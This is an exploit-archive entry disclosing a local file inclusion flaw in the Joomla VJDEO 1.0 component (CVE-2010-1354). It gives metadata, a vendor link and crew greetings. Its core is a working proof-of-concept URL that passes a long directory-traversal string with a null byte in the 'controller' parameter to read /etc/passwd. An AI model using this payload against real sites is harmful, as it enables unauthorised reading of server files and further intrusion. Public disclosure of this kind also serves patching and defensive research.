Joomla! Component VJDEO 1.0 - Local File Inclusion

Author: Angela Zhang
type: webapps
platform: php
port: 
date_added: 2010-04-06 
date_updated: 2016-12-20 
verified: 1 
codes: OSVDB-63581;CVE-2010-1354 
tags: 
aliases:  
screenshot_url:  
application_url: 

(o)=====================================================================================(o)

                              Joomla Component VJDEO 1.0 LFI Vulnerability


                Vendor   : http://www.joomla.ternaria.com/
                Author    : Angela Zhang
                Contact  : mizz_4ng3l@yahoo.com
                Date        :  07 - April - 2010

(o)======================================================================================(o)



     [o] Exploit

       http://localhost/[path]/index.php?option=com_vjdeo&controller=[LFI]


    [o] PoC

       http://localhost/index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00



(o)===========================================================================================(o)

Greetz   :   -:-  3SomeCrew  -:-

     Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf ,   home_edition2001   ,   mywisdom , s4va,
     Winda Slovski , stardustmemory, wishnusakti, Xco Nuxco , Cakill Schumbag, dkk



(o)===========================================================================================(o)